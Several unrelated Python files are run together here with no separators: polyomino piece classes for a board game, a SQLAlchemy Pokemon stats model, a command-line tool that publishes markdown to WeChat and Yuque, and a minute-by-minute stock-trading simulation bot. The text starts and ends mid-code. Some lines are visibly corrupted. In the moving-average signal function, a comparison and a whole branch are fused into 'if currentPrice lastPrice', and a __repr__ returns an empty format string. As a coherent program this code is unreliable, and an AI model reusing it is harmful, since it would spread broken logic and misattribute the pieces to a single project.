tiles = [ [1, 0, 0], [1, 0, 0], [1, 1, 1], ] super().__init__("five angle", player, tiles=tiles) class Five_Bar(BasePiece): def __init__(self, player): tiles = [ [1, 1, 1, 1, 1], ] super().__init__("five bar", player, tiles=tiles) class Five_Cross(BasePiece): def __init__(self, player): tiles = [ [0, 1, 0], [1, 1, 1], [0, 1, 0], ] super().__init__("five cross", player, tiles=tiles) class Five_Utah(BasePiece): def __init__(self, player): tiles = [ [1, 0], [1, 1], [1, 1], ] super().__init__("five utah", player, tiles=tiles) class Five_ZigZag(BasePiece): def __init__(self, player): tiles = [ [0, 1, 1, 1], [1, 1, 0, 0], ] super().__init__("five zigzag", player, tiles=tiles) from sqlalchemy import Column, Integer, ForeignKey from sqlalchemy.orm import relationship from app.models.base import Base class PokemonBaseStats(Base): __tablename__ = 'pokemon_base_stats' poke_id = Column(Integer, ForeignKey('pokemon.poke_id'), primary_key = True) hp = Column(Integer, nullable=False) attack_stat = Column(Integer, nullable=True) defense_stat = Column(Integer, nullable=True) special_attack_stat = Column(Integer, nullable=True) special_defense_stat = Column(Integer, nullable=True) speed = Column(Integer, nullable=True) #... pokemon = relationship("Pokemon", back_populates="pokemon_base_stats") def __repr__(self): return "" % ( self.poke_id, self.hp, self.speed)docpub/cli.py #!/usr/bin/env python3 import os import shutil import pathlib import json import html import urllib import argparse from pathlib import Path import click import requests import confuse from docpub import __version__, USER_AGENT from docpub.api.wechat.material import ( get_access_token, query_image, upload_image) from docpub.api.wechat.access_token import AccessToken from docpub.api.yuque.auth import get_token, setup_auth from docpub.api.yuque import LARK_HOST from docpub.format.markdown import find_all_images_in_md from docpub.util.stringtool import randomString import docpub.util.settings as settings @click.group() @click.version_option(version=__version__) def cli(): pass @cli.group() def config(): pass @config.command() def show(): click.echo(settings.configfile) click.echo(settings.config.dump()) @cli.group() @click.option( "-i", "--appid-file", type=click.File(mode="r")) @click.pass_context def wechat(ctx, appid_file): """Publish articles to WeChat Official Account.""" ctx.ensure_object(dict) # Read acount identity if appid_file: AppID = appid_file.readline().strip() AppSecret = appid_file.readline().strip() else: AppID = click.prompt('AppID') AppSecret = click.prompt('AppSecret', hide_input=True) # Get acess token token = AccessToken(AppID, AppSecret) ctx.obj["token"] = token @cli.group() def yuque(): pass @yuque.command() @click.option("--scope", default="repo,doc") def setauth(scope): setup_auth(scope) click.echo(click.style("Success", fg="green")) @yuque.command() def hello(): token = get_token() url = "%s/api/v2/hello" % LARK_HOST headers = { 'User-Agent': USER_AGENT, 'X-Auth-Token': token } resp = requests.get(url, headers=headers) resp.raise_for_status() click.echo(resp.json()) @yuque.command() def user(): token = get_token() url = "%s/api/v2/user" % LARK_HOST headers = { 'User-Agent': USER_AGENT, 'X-Auth-Token': token } resp = requests.get(url, headers=headers) resp.raise_for_status() click.echo(resp.text) @wechat.command() @click.argument("index_file", type=click.Path(exists=True, readable=True)) @click.pass_context def procmd(ctx, index_file): token = ctx.obj["token"] # Upload markdown images with open(index_file, "r", encoding="utf-8") as inf: index_dirname = os.path.dirname(index_file) index_basename = os.path.basename(index_file) index_name = os.path.splitext(index_basename)[0] cache_json_file = os.path.join( index_dirname, "%s_uploaded_imgs.json" % index_name) processed_md_file = os.path.join( index_dirname, "%s_processed.md" % index_name) markdown_data = inf.read() images = find_all_images_in_md(markdown_data) # These images won't be uploaded to material, so they can not be # queried through material API. try: with open(cache_json_file, 'r') as fh: uploaded_imgs = json.load(fh) except FileNotFoundError: uploaded_imgs = dict() # Upload and convert markdown image links for image in images: if image in uploaded_imgs: # Get img url from cache print("Image has been uploaded: %s" % image) img_url = uploaded_imgs[image] print(img_url) markdown_data = markdown_data.replace(image, img_url) else: # Upload img and cache url print("Uploading image: %s" % image) img_json = upload_image(token.get_access_token(), os.path.join(index_dirname, image)) img_url = img_json["url"] uploaded_imgs[image] = img_url print(img_url) markdown_data = markdown_data.replace(image, img_url) # Write image url cache with open(cache_json_file, 'w') as fh: json.dump(uploaded_imgs, fh) # Write processed markdown file with open(processed_md_file, 'w', encoding="utf-8") as f: f.write(markdown_data) @cli.command() @click.option("--res-folder", default="index_files", show_default=True, help="Define the name of resources folder.") @click.argument( "markdown_files", type=click.File('r', encoding="utf-8"), nargs=-1, required=True) @click.argument("dest_folder", nargs=1, type=click.Path()) def pack(markdown_files, dest_folder, res_folder): """ Parse markdown file and package it to a directory. MARKDOWN_FILES accept any number of markdown files, and they will be processed sequentially. DEST_FOLDER is where markdown package folder will be placed on. Examples: docpub pack path/to/Hello.md path/to/World.md ~/Desktop docpub pack path/to/*.md ~/Desktop """ # Create destination folder if needed os.makedirs(dest_folder, exist_ok=True) # Parse all markdown files for md_file in markdown_files: # Create markdown package folder md_dirname = os.path.dirname(md_file.name) md_basename = os.path.basename(md_file.name) folder_name = os.path.splitext(md_basename)[0] md_index_prefix = os.path.join(dest_folder, folder_name) os.makedirs(md_index_prefix, exist_ok=True) # Collect all images md_index_filename = os.path.join(md_index_prefix, md_basename) md_text = md_file.read() md_images = find_all_images_in_md(md_text) # Save images to package folder md_index_res_folder = os.path.join(md_index_prefix, res_folder) if md_images: os.makedirs(md_index_res_folder, exist_ok=True) for image in md_images: # Image usually is relative to markdown index file img_src_rel_filename = os.path.join(md_dirname, image) if os.path.exists(img_src_rel_filename): img_src_filename = img_src_rel_filename elif os.path.exists(image): # Absolute path of image img_src_filename = image pass else: click.echo("Image does not exists: %s" % image) # TODO: download online images continue img_dest_filename = os.path.join( md_index_res_folder, os.path.basename(image)) img_src_filename = os.path.normpath(img_src_filename) click.echo("Copying image: %s" % img_src_filename) shutil.copyfile(img_src_filename, img_dest_filename) # Relative to markdown index file # TODO: Let the user decide whether to put ./ in front of it. img_dest_rel_filename = "./%s/%s" % ( res_folder, os.path.basename(image)) md_text = md_text.replace(image, img_dest_rel_filename) # Save markdown to package folder with open(md_index_filename, 'w', encoding="utf-8") as outf: outf.write(md_text) Simple Trading Bot V8.py # To add a new cell, type '# %%' # To add a new markdown cell, type '# %% [markdown]' # %% #Use lower of 0.25 or min/max dif to minimize stop loss # %% import math import matplotlib.pyplot as plt import seaborn as sns import numpy as np import pandas as pd import yfinance as yf import datetime as dt from pandas.tseries.offsets import BDay import traceback # %% def main (currentDay, stockDataCurrentDay, stockDataPreviousDay, startingBalance, dailyMaxLoss): #stockDataLiveSimModified, baseTradeSummary, farFromMovAvgTradeSummary, allTradeSummary, currentBalance '''(date, DataFrame, DataFrame, int, int) --> (dataframe, float) Argument Names: currentDay: the date over which the bot is simulating stockDataCurrentDay: current day stock's data from Yahoo Finance (should 1 minute interval data) stockDataPreviousDay: previous day stock's data from Yahoo Finance (should 1 minute interval data) startingBalance: the balance at the start of the day dailyMaxLoss: the maximum amount of money the bot is allowed to lose today Returns: stockDataLiveSimModified: current day stock's data as seen from Yahoo Finance along with derived numbers (SMA, EMA, RSI) baseTradeSummary: summary of base trade algorithms results farFromMovAvgTradeSummary: summary of far from moving average trade results allTradeSummary: summary of all trade results currentBalance: current balance at the end of the day Performs trades based on base trade and far from moving trade algorithm and outputs DataFrame with summary of trades results ''' #initially currentBalance is set to starting balance currentBalance = startingBalance brokerFee = 1 #assuming that my # of shares bought will be small so fee will be $1 # currentTradeStatus = "Nothing" whichPriceToCheck = "Adj Close" allTradeSummary = pd.DataFrame () #Variables for Base Trade timeDurForCheck = 1 #we are using 1 minute interval data for checking baseTradeCheckDurationInMin = 30 #we want to check for base trade signal every 30 minutes #price in the interval to check for base trade can’t vary more than 0.5% of the price (for price, we are deciding to check the Adj Close price of the first data point) baseTradePriceVarMaxPrcntg = 0.5 baseTradeProfitTargetPerShare = 0.25 baseTradeLossTargetPerShare = 0.25 baseTradeSummary = pd.DataFrame () #variables for far from moving average trade farFromMovAvgCriticalPriceDif = 1.50 farFromMovAvgProfitTargetPerShare = 0.50 farFromMovAvgTradeSummary = pd.DataFrame () #dataframes for containing the stock data extracted from server stockDataLiveSim = pd.DataFrame () stockData1Row = pd.DataFrame () stockDataLiveSimModified = pd.DataFrame () #RSI calculation for previous day rsiPeriod = 14 colTitleRsi = "RSI{0}".format (rsiPeriod) stockDataLiveSimModified [colTitleRsi] = float ("nan") #initiailzing the RSI column stockDataRsiPreviousDay = rsiPreviousDay (stockDataPreviousDay,14,"Adj Close") #dataframe containing previous day RSI; only the last row's "Avg Loss" and "Avg Gain" values will be used print (stockDataRsiPreviousDay.tail()) #feed the data to new frame 1 row at a time for i in range (0,stockDataCurrentDay.shape[0],1): #contains all the data up to latest time stockDataLiveSim = stockDataCurrentDay.head (i+1) #temporary dataframe holding only last row of dataframe stockData1Row= stockDataLiveSim.tail (1) #modifying 1 row dataframe # stockData1Row.reset_index (inplace = True) #first index always = 0 stockData1Row ["DateOnly"] = pd.Timestamp.date (stockData1Row.loc [i,"Datetime"]) stockData1Row ["TimeOnly"] = pd.Timestamp.time (stockData1Row.loc [i,"Datetime"]) # stockData1Row.index = [i] #another dataframe containing all the data upto latest minute if i == 0: stockDataLiveSimModified = stockData1Row else: stockDataLiveSimModified = stockDataLiveSimModified.append (stockData1Row) #Get 9, 15, 65, 200 SMA and EMA for smaEmaPeriod in [9,15,65,200]: #print (stockDataLiveSimModified.head ()) currentSmaColTitle, currentSmaVal, currentEmaColTitle, currentEmaVal = smaEma (stockDataPreviousDay,stockDataLiveSimModified,smaEmaPeriod, "Adj Close") stockDataLiveSimModified.loc [stockDataLiveSimModified.index[-1], currentSmaColTitle] = currentSmaVal stockDataLiveSimModified.loc [stockDataLiveSimModified.index[-1], currentEmaColTitle] = currentEmaVal #get RSI value for latest minute if i == 0: previousAvgGain = float (stockDataRsiPreviousDay.tail (1) ["AvgGain"]) previousAvgLoss = float (stockDataRsiPreviousDay.tail (1) ["AvgLoss"]) priceChange = float (stockDataLiveSimModified.tail (1) ["Adj Close"]) - float (stockDataRsiPreviousDay.tail (1) ["Adj Close"]) currentAvgGain, currentAvgLoss, currentRsi = rsi (priceChange, "Adj Close", rsiPeriod, previousAvgGain, previousAvgLoss) else: previousAvgGain = currentAvgGain previousAvgLoss = currentAvgLoss priceChange = float (stockDataLiveSimModified.loc [stockDataLiveSimModified.index[-1],"Adj Close"] - stockDataLiveSimModified.loc [stockDataLiveSimModified.index[-2],"Adj Close"]) currentAvgGain, currentAvgLoss, currentRsi = rsi (priceChange, "Adj Close", rsiPeriod, previousAvgGain, previousAvgLoss) #set values of RSI in main dataframe stockDataLiveSimModified.loc [i, colTitleRsi] = currentRsi #get column order so we can set the main frame columns in original order (yahoo finance data, sma/ema, rsi) if i ==0: originalColOrder = stockDataLiveSimModified.columns #will be used to reset column order when appending new minute data fucks it up #run base trade test #we need 30 minute of data (base check duration) to check for base + additional minute of data to see if base has been broken or not if stockDataLiveSimModified.shape [0] >= (baseTradeCheckDurationInMin + timeDurForCheck): #base trade summary dfTradeSummaryTemp = baseTradeSignal (stockDataLiveSimModified.tail (baseTradeCheckDurationInMin + timeDurForCheck), whichPriceToCheck,baseTradePriceVarMaxPrcntg,baseTradeProfitTargetPerShare,baseTradeLossTargetPerShare) if baseTradeSummary.shape [0] == 0: baseTradeSummary = dfTradeSummaryTemp else: baseTradeSummary = baseTradeSummary.append (dfTradeSummaryTemp) print (baseTradeSummary) #Far from moving average trade; for simlicity's sake, we will start running it when we have two data points for the present day #Theoretically we could run the test with the first data point of today but that would meaning storing previous day data including SMA, EMA, RSI if stockDataLiveSimModified.shape [0] >=2: lastPrice = float (stockDataLiveSimModified.loc[i-1,whichPriceToCheck]) currentPrice = float (stockDataLiveSimModified.loc[i,whichPriceToCheck]) ##listOfLastEma #first gets the list of columns with ema in title colTitleWithEma = [emaColumn for emaColumn in stockDataLiveSimModified.columns if emaColumn.__contains__ ("EMA")] #get the list of ema in a list listOfLastEma = stockDataLiveSimModified.loc [i,colTitleWithEma].tolist () currentRsi = float (stockDataLiveSimModified.loc [i, colTitleRsi]) dfTradeSummaryTemp = farFromMovingAverageTradeSignal (currentDay, i, lastPrice, currentPrice, listOfLastEma, currentRsi, farFromMovAvgCriticalPriceDif, farFromMovAvgProfitTargetPerShare) if farFromMovAvgTradeSummary.shape [0] == 0: farFromMovAvgTradeSummary = dfTradeSummaryTemp else: farFromMovAvgTradeSummary = farFromMovAvgTradeSummary.append (dfTradeSummaryTemp) print (farFromMovAvgTradeSummary) #See if we sold shares #First Check allTradeSummary is not empty; prevent error #If check above is fine then check if we have an active trade #If we have an active trade then see if we should exit that trade by calling checkIfExitTrade #If checkIfExitTrade function says we should exit that trade (returns a row of data) then #update allTradeSummary with the row of data returned by checkIfExitTrade function and #calculate current balance if (allTradeSummary.shape [0] >=1): isTradeComplete = allTradeSummary.loc [allTradeSummary.index [-1],'IsTradeComplete'] if isTradeComplete == "No": dfTemp = checkIfExitTrade (allTradeSummary.tail(1),stockDataLiveSimModified.tail(1),"Adj Close") if dfTemp is not None: #trade was exited #Update allTradeSummary by dropping the last row of data and appending the row returned by checkIfExitTrade function allTradeSummary.drop (index = allTradeSummary.index [-1], inplace = True) allTradeSummary = allTradeSummary.append (dfTemp) currentBalance = currentBalance + float (allTradeSummary.loc [allTradeSummary.index [-1],"Profit"]) #Calculate current balance since trade was exited #Returns 1 row for dfTradesummary, baseTradeExecutedOn and farFromMovAvgTradeExecutedOn; the last two tells me if I executed on #dfTradeSummary #If no trade is placed then none is returned for 1 row for dfTradesummary #Columns for one row of dataframe: TradeType (BaseTrade, FarFromMovingAverageTrade), #TradeId (StartTimeIndex for Base Trade or i for far from moving average trade), BuyPrice, LimitSellPrice, StopLossPrice #baseTradeExecutedOn, farFromMovAvgTradeExecutedOn returns Nothing (which is default value in the corresponding dataframe) or Yes or No if (baseTradeSummary.shape [0] >= 1) or (farFromMovAvgTradeSummary.shape [0] >=1 ): dfTemp,baseTradeExecutedOn,farFromMovAvgTradeExecutedOn = placeTrade(currentDay, baseTradeSummary, farFromMovAvgTradeSummary, allTradeSummary, stockDataLiveSimModified, baseTradeCheckDurationInMin, timeDurForCheck, startingBalance, currentBalance,dailyMaxLoss, brokerFee) if dfTemp is not None: if allTradeSummary.shape[0] == 0: allTradeSummary = dfTemp else: allTradeSummary = allTradeSummary.append (dfTemp) #Update base trade summary; in some cases the returned row would be same as before # print (baseTradeSummary.shape[0]) # print (baseTradeSummary.shape[0]>=1) # print (farFromMovAvgTradeSummary.shape[0]) # print (farFromMovAvgTradeSummary.shape[0]>=1) if baseTradeSummary.shape[0] >= 1: baseTradeSummary.loc [baseTradeSummary.index[-1], "ExecutedOnSignal"] = baseTradeExecutedOn if farFromMovAvgTradeSummary.shape[0] >= 1: farFromMovAvgTradeSummary.loc [farFromMovAvgTradeSummary.index [-1],"ExecutedOnSignal"]= farFromMovAvgTradeExecutedOn #set original ordering of columns to original stockDataLiveSimModified = stockDataLiveSimModified.loc [:,originalColOrder] print (stockDataLiveSimModified.tail (5)) print (baseTradeSummary.tail (5)) print (farFromMovAvgTradeSummary.tail (5)) print (currentBalance) return stockDataLiveSimModified, baseTradeSummary, farFromMovAvgTradeSummary, allTradeSummary, currentBalance # %% def limitStopLossSell (tradeStatus, currentPrice, buyPrice, stopLossPrice, limitSellPrice, numShares): '''(string, float, float, float, float) ---> (string, float) Argument Names: tradeStatus: whether the current trade is short or long currentPrice: current price of the stock buyPrice: price of stock when the current trading position was opened stopLossPrice: stop loss price of current trade limitSellPrice: limit sell price of current trade numShares: number of shares of the current trade Return updatedTradeStatus: whether the trade closed or not. = tradeStatus and set to Nothing if trade closed profit: profit from the current trade. nan is returned if trade is not executed Given current stock price, buying price, stop lossp rice and limit sell price, determine if the trade is to be closed If the trade is closed then calculate profit/loss ''' tradeProfit = float ("nan") updatedTradeStatus = tradeStatus if tradeStatus == "Short": if currentPrice < limitSellPrice: tradeProfit = numShares*(buyPrice - limitSellPrice) updatedTradeStatus = "Nothing" #Stop Loss triggerred; sold for loss elif currentPrice > stopLossPrice: tradeProfit = numShares*(buyPrice-stopLossPrice) updatedTradeStatus = "Nothing" elif tradeStatus == "Long": #Limit Sell triggered; sold for profit if currentPrice > limitSellPrice: tradeProfit = numShares*(limitSellPrice-buyPrice) updatedTradeStatus = "Nothing" #Stop Loss triggerred; sold for loss elif currentPrice < stopLossPrice: tradeProfit = numShares*(stopLossPrice-buyPrice) updatedTradeStatus = "Nothing" return updatedTradeStatus, tradeProfit # %% def marketSell (tradeType, currentPrice, buyPrice, numShares): ''' (string, float, float) ---> (string, tradeProfit) Give type of trade, buy price, current price, number of shares, return updatedTradeStatus ("Nothing") and Profit (or loss) We are assuming that this method is only called when a trade is active and the trade will be exited no matter what ''' tradeProfit = float ("nan") updatedTradeStatus = "Nothing" if tradeType == "Short": tradeProfit = numShares * (buyPrice - currentPrice) elif tradeType == "Long": tradeProfit = numShares * (currentPrice - buyPrice) return updatedTradeStatus, tradeProfit # %% def convSeriesTimeToTime (timeSeriesOneRow): ''' (one row of series with datetype object) --> (time object) Given one row of series containing a time object in the format: H:M:S, time object is returned Input Series Example: 62 10:32:00 Output Example: 10:32:00 >>>ConvSeriesTimeToTime (series_oneRow) 10:32:00 >>>ConvSeriesTimeToTime (series_oneRow) 10:45:09 ''' testString = str (timeSeriesOneRow) testTime = dt.datetime.strptime (testString, "%H:%M:%S").time() return testTime # %% def convTimeStampToDay (timeStamp, format): ''' (timestamp, string) ---> (date) Given timestamp and format string, return date object ''' timeStampString = str (timeStamp) return dt.datetime.strptime (timeStampString,format).date() # %% def preProcessStockData (stockDataYahooFinace): ''' Get's yahoo data in its raw form with 1 minute interval Returns a dataframe with index reset so "Datetime" is first column and add 'DateOnly' column as well ''' dfTemp = stockDataYahooFinace dfTemp.reset_index (inplace = True) #reset index so now have Datetime column dfTemp ["Datetime"] = pd.to_datetime (dfTemp ["Datetime"]) #making sure Datetime column contains datetime object # dfTemp ["DateOnly"] = dfTemp["Datetime"].dt.date #print (dfTemp.head ()) return dfTemp # %% def baseTradeSignal (dfStockPriceData, whichPriceToCheck,baseTradePriceVarMaxPrcntg,baseTradeProfitTargetPerShare,baseTradeLossTargetPerShare): ''' (DataFrame, string, float, float, float) ---> (DataFrame) Argument Names: dfStockPriceData: Stock's data from Yahoo Finance with derived numbers as well (RSI, SMA, EMA) whichPriceToCheck: Which price to check in the stock price DataFrame baseTradePriceVarMaxPrcntg: Maximum fluctuation in stock price over the 30 minute period for it to be in base baseTradeProfitTargetPerShare: profit target per share baseTradeLossTargetPerShare: loss target per share Given 31 minutes of stock's data as given by Yahoo Finance package along with derived numbers (RSI, SMA, EMA) in a DataFrame, return a DataFrame with analysis from Base Trade Algorithm: the stock is in a base or not and if a trade should be made ''' #each run, I get 31 minute of data and I check the first 30 minute to see if the stock is in a base #mention what the dataframe looks like #error handling for wrong datatype (latear) #if the stock is in a base then I do the rest of the things (stopLossPrice, limitSellPrice, buyTime, etc.) #otherwise I just return nothing print (dfStockPriceData.columns) # print (dfStockPriceData.loc[:,["Datetime","TimeOnly"]]) firstIndex = dfStockPriceData.index [0] #end index is the second last row because we are getting data for base duration (currently 30 minutes) + 1 minute (1 minute is the time frame we are using for trading) secondLastRowIndex = dfStockPriceData.index[-2] #dfTemp only contains the first 30 rows of data #all steps below to calculate max price variation to check if in base dfTemp = dfStockPriceData.loc [:secondLastRowIndex, ["TimeOnly", whichPriceToCheck]] dfTemp ["Diff"] = (dfTemp.loc [:,whichPriceToCheck] - dfTemp.loc [firstIndex, whichPriceToCheck]) maxDifAbs = float (dfTemp ["Diff"].abs().max()) #this calculation is done now regardless of whether we are in base/base-short/base-long or not #they could be helpful in future for analysis purposes maxDif = float (dfTemp ["Diff"].max()) maxDifStockPrice = float (dfTemp.loc [dfTemp.loc [:,"Diff"] == maxDif, whichPriceToCheck].head (1)) #maxDifTime; requiring multiple steps maxDifTime = dfTemp.loc [dfTemp.loc [:,"Diff"] == maxDif, "TimeOnly"].head (1) testTime = convSeriesTimeToTime (maxDifTime.iloc[0]) #get time object maxDifTime = testTime #assign time object to maxDifTime minDif = float (dfTemp ["Diff"].min()) minDifStockPrice = float (dfTemp.loc [dfTemp.loc [:,"Diff"] == minDif, whichPriceToCheck].head (1)) #minDifTime; requiring multiple steps. minDifTime = dfTemp.loc [dfTemp.loc [:,"Diff"] == minDif, "TimeOnly"].head (1) testTime = convSeriesTimeToTime (minDifTime.iloc[0]) #get time object minDifTime = testTime #assign time object to minDifTime # print ("Max Different Absolute: " + str (maxDifAbs)) # print ("Max Difference: " + str (maxDif)) # print ("Min Difference: " + str (minDif)) # print ("Max Dif Stock Price: " + str (maxDifStockPrice)) # print ("Min Dif Stock Price: " + str (minDifStockPrice)) #to be in a base, maxPriceDiff can't be bigger than this price maxPriceCriteria = dfStockPriceData.loc [firstIndex, whichPriceToCheck]*(baseTradePriceVarMaxPrcntg/100) #print ("Max Price Criteria: " + str (maxPriceCriteria)) #if true then in a base if maxDifAbs <= maxPriceCriteria: #Go Long if dfStockPriceData.loc [secondLastRowIndex +1, whichPriceToCheck] > maxDifStockPrice: tradeSignal = "Long" buyTime = dfStockPriceData.loc [secondLastRowIndex +1, "TimeOnly"] buyTimeIndex = secondLastRowIndex+1 buyPrice = dfStockPriceData.loc [secondLastRowIndex +1, whichPriceToCheck] #stopLossPrice = minDifStockPrice #stop loss is the minimum of the base consolidation. #stopLossPrice = buyPrice - baseTradeLossTargetPerShare stopLossPrice = max (buyPrice - baseTradeLossTargetPerShare,minDifStockPrice) #choose the number that limits loss more limitSellPrice = buyPrice + baseTradeProfitTargetPerShare #Go Short elif dfStockPriceData.loc [secondLastRowIndex +1, whichPriceToCheck] < minDifStockPrice: tradeSignal = "Short" buyTime = dfStockPriceData.loc [secondLastRowIndex +1, "TimeOnly"] buyTimeIndex = secondLastRowIndex+1 buyPrice = dfStockPriceData.loc [secondLastRowIndex +1, whichPriceToCheck] # stopLossPrice = maxDifStockPrice #stop loss is the maximum of the base consolidation. #stopLossPrice = buyPrice + baseTradeLossTargetPerShare stopLossPrice = min (buyPrice + baseTradeLossTargetPerShare, maxDifStockPrice) #choose the number that limits loss more limitSellPrice = buyPrice - baseTradeProfitTargetPerShare #Base Only else: tradeSignal = "Base" buyTime = "Nothing" buyTimeIndex = float ("nan") buyPrice = float ("nan") stopLossPrice = float ("nan") limitSellPrice = float ("nan") else: #not in a base and thus can't be short/long tradeSignal = "Nothing" buyTime = "Nothing" buyTimeIndex = float ("nan") buyPrice = float ("nan") stopLossPrice = float ("nan") limitSellPrice = float ("nan") #dictionary summarizing StartTime, EndTime and MaxDif for the duration dictTemp = { 'Date': [dfStockPriceData.loc [firstIndex, "DateOnly"]], #Does not matter which row I use for date; date would be the same 'StartTime':[dfStockPriceData.loc[firstIndex,"TimeOnly"]], 'EndTime':[dfStockPriceData.loc[secondLastRowIndex,"TimeOnly"]], 'StartTimeIndex': [firstIndex], 'EndTimeIndex': [secondLastRowIndex], 'MaxDifStockPrice' :[maxDifStockPrice], 'MinDifStockPrice' : [minDifStockPrice], 'MaxDif':[maxDif], 'MinDif':[minDif], 'MaxDifAbs':[maxDifAbs], 'MaxDifTime' : [maxDifTime], 'MinDiftime' : [minDifTime], 'TradeSignal': [tradeSignal], 'BuyTime': [buyTime], 'BuyTimeIndex': [buyTimeIndex], 'BuyPrice': [buyPrice], 'StopLossPrice': [stopLossPrice], 'LimitSellPrice': [limitSellPrice], 'ExecutedOnSignal': ["Nothing"] } dfTemp2 = pd.DataFrame (dictTemp, index = [firstIndex]) # #there will be a slight delay between getting the signal for buying vs. actually buying so have to adjust this buy price accordingly # #since this base trade algorithm takes seconds to run. This price difference might not be much return dfTemp2 # %% def farFromMovingAverageTradeSignal (currentDate, currentPriceTimeIndex, lastPrice, currentPrice, listOfLastEma, currentRsi, farFromMovAvgCriticalPriceDif, farFromMovAvgProfitTargetPerShare): ''' (date, int, float, float, list, float, float, float) ---> (DataFrame) Argument Names: currentDate: current date currentPriceTimeIndex: current time given in minutes passed since 9:30 AM lastPrice: price of stock recorded last minute currentPrice: stock's current price listOfLastEma: EMA as per last stock's data currentRsi: RSI as per last stock's data farFromMovAvgCriticalPriceDif: amount of difference between stock and the EMA to be used for this algorithm farFromMovAvgProfitTargetPerShare: profit target per share Given current price data along with derived numbers and last minute data, output a DataFrame with result of running far from moving average trading algorithm ''' #it seems that one of the pre condition is the stock falling or rising aboeve the moving average quickly. #in my case, I am only looking at the distance between stock price and closest ema to check for trading signal. I think stock falling or rising quickly will be captured by RSI tradeSignal = "Nothing" #This is initially set to nothing and stays nothing unless changed by conditions below; easier to manage logic difEmaFromLastPrice = [abs(ema-lastPrice) for ema in listOfLastEma] closestEmaDifAbs = min (difEmaFromLastPrice) closestEma = listOfLastEma[difEmaFromLastPrice.index (closestEmaDifAbs)] #first check if RSI is >=80 or RSI <=20 #RSI >=80 likely means we are shorting and RSI <=20 likely means we are going long but not always if (currentRsi >=80) or (currentRsi <=20): #calculate the difference between the lastPrice and listOfLastEma to find the closest Ema #if abs (closest Ema Difference) >=1.50 if closestEmaDifAbs >=farFromMovAvgCriticalPriceDif: # if (lastPrice > closestEma) and (RSI >=80) then far from moving average condition exist if (lastPrice>closestEma) and (currentRsi>=80): #if currentPrice < lastPrice ==> price broke trend and we go short, otherwise signal is just FarFromMovingAverage if currentPrice lastPrice ==> price broke trend and we go long, otherwise signal is just FarFromMovingAverage if currentPrice>lastPrice: tradeSignal = "Long" else: tradeSignal = "FarFromMovingAverage" #Setting buy price, limit sell price and stop loss price #if trade signal is long: if (tradeSignal == "Long") or (tradeSignal == "Short"): buyPrice = currentPrice stopLossPrice = lastPrice if tradeSignal == "Long": limitSellPrice = currentPrice + farFromMovAvgProfitTargetPerShare else: limitSellPrice = currentPrice - farFromMovAvgProfitTargetPerShare else: buyPrice = float ("nan") stopLossPrice = float ("nan") limitSellPrice = float ("nan") #dictionary summarizing data dictTemp = { 'CurrentDate': [currentDate], 'LastPrice' : [lastPrice], 'CurrentPrice': [currentPrice], 'CurrentRsi': [currentRsi], 'ClosestEmaPrice': [closestEma], 'DiffFromClosestEma': [closestEmaDifAbs], 'TradeSignal' :[tradeSignal], 'BuyPrice' : [buyPrice], 'LimitSellPrice': [limitSellPrice], 'StopLossPrice' : [stopLossPrice], 'ExecutedOnSignal' : ["Nothing"] } dfTemp = pd.DataFrame (dictTemp, index = [currentPriceTimeIndex]) return dfTemp # %% def placeTrade(currentDay, baseTradeSummary, farFromMovAvgTradeSummary, allTradeSummary,stockDataLiveSimModified, baseTradeCheckDurationInMin, timeDurForCheck, startingBalance, currentBalance,dailyMaxLoss, brokerFee): '''(date, DataFrame, DataFrame, DataFrame,DataFrame, int, int, float, float,float, float) ---> (None/DataFrame, str, str) Given Trade Summary which shows if there is an active trade or not along with DataFrame for each algorithm, decide if a trade should be made while remaining within the constraints of daily maximum loss ''' #assuming that # one or more or all of baseTradeSummary, farFromMovAvgTradeSummary, allTradeSummary could be empty #stockDataLiveSimModified is not empty #First check scenarios where the dataframes are empty or not #baseTradeSummary: empty or not Empty #farFromMovAvgTradeSummary: not empty #allTradeSummary: empty or not empty #stockDataLiveSimModified: not empty #Total # of choices: 2 x 1 x 2 x 1 = 4 #Empty, Not Empty, Empty, Not Empty #Not Empty, Not Empty, Empty, Not Empty #Empty, Not Empty, Not Empty, Not Empty #Not Empty, Not Empty, Not Empty, Not Empty #Overall Thnking #lets think about the possible scenarios #currentTradeStatus = Short, Long or Nothing #tradeSignalFromBaseTrade = Short, Long, Nothing #tradeSignalFromFarFromMovingAverageTrade = Short, Long, Nothing #daily max loss crossed or not (2 choices) #at 3:30 or not (2 choices) # the number of choices = 3 x 3 x 3 x 2 x 2 = 108 #in bigger picture view, I either place a trade or don't place a trade #if I place a trade, I want to return data containing the dataframe of useful info #if I don't place a trade then I want to return None #initially we are assuming that we won't place a trade toPlaceTrade = "No" #Current Trade Status if allTradeSummary.shape [0]>=1: isTradeComplete = str (allTradeSummary.loc [allTradeSummary.index[-1],'IsTradeComplete']) else: isTradeComplete = "Yes" #initializing variables we will return tradeStatus = "Nothing" tradeType = "Nothing" #possible values: BaseTrade, FarFromMovingAverageTrade, Nothing tradeId = float ("nan") #used to link to baseTradeSummary or farfromMovAvgTradeSummary; tradeId = latestTimeIndex for far from moving average or startTimeIndex for baseTradeSummary buyPrice = float ("nan") limitSellPrice = float ("nan") stopLossPrice = float ("nan") #Extract TradeSignal and ExecutedOn from base trade and moving average trade dataframe #For base trade, we won't have anything to extract till the 31st minute so we are using if condition to take care of this #We are also using dataFrame.shape [0] >= 1 to avoid error #Executed On #Default values for both of them is "Nothing" #Initializing them here so if executedOn variable is not changed later on in the code, Python does not give error if (stockDataLiveSimModified.shape [0] >= (baseTradeCheckDurationInMin + timeDurForCheck)) & (baseTradeSummary.shape[0]>=1) : baseTradeStatus = baseTradeSummary.loc [baseTradeSummary.index[-1], "TradeSignal"] baseTradeExecutedOn = baseTradeSummary.loc [baseTradeSummary.index[-1], "ExecutedOnSignal"] else: baseTradeStatus = "Nothing" baseTradeExecutedOn = "Nothing" print (farFromMovAvgTradeSummary.shape [0]) print (farFromMovAvgTradeSummary.shape [0]>=1) if farFromMovAvgTradeSummary.shape [0]>=1: farFromMovAvgTradeStatus = farFromMovAvgTradeSummary.loc [farFromMovAvgTradeSummary.index[-1], "TradeSignal"] farFromMovAvgTradeExecutedOn = farFromMovAvgTradeSummary.loc [farFromMovAvgTradeSummary.index[-1], "ExecutedOnSignal"] else: farFromMovAvgTradeStatus = "Nothing" farFromMovAvgTradeExecutedOn = "Nothing" #Don't execute any trade if we have any of the following condition #We have reached 3:30 PM #We have reached daily loss limit #There is an active trade if (stockDataLiveSimModified.shape[0]>=361) or ((startingBalance-currentBalance)>=dailyMaxLoss) or (isTradeComplete == "No"): #since we won't execute any more trade ##if base trade status is short or long then 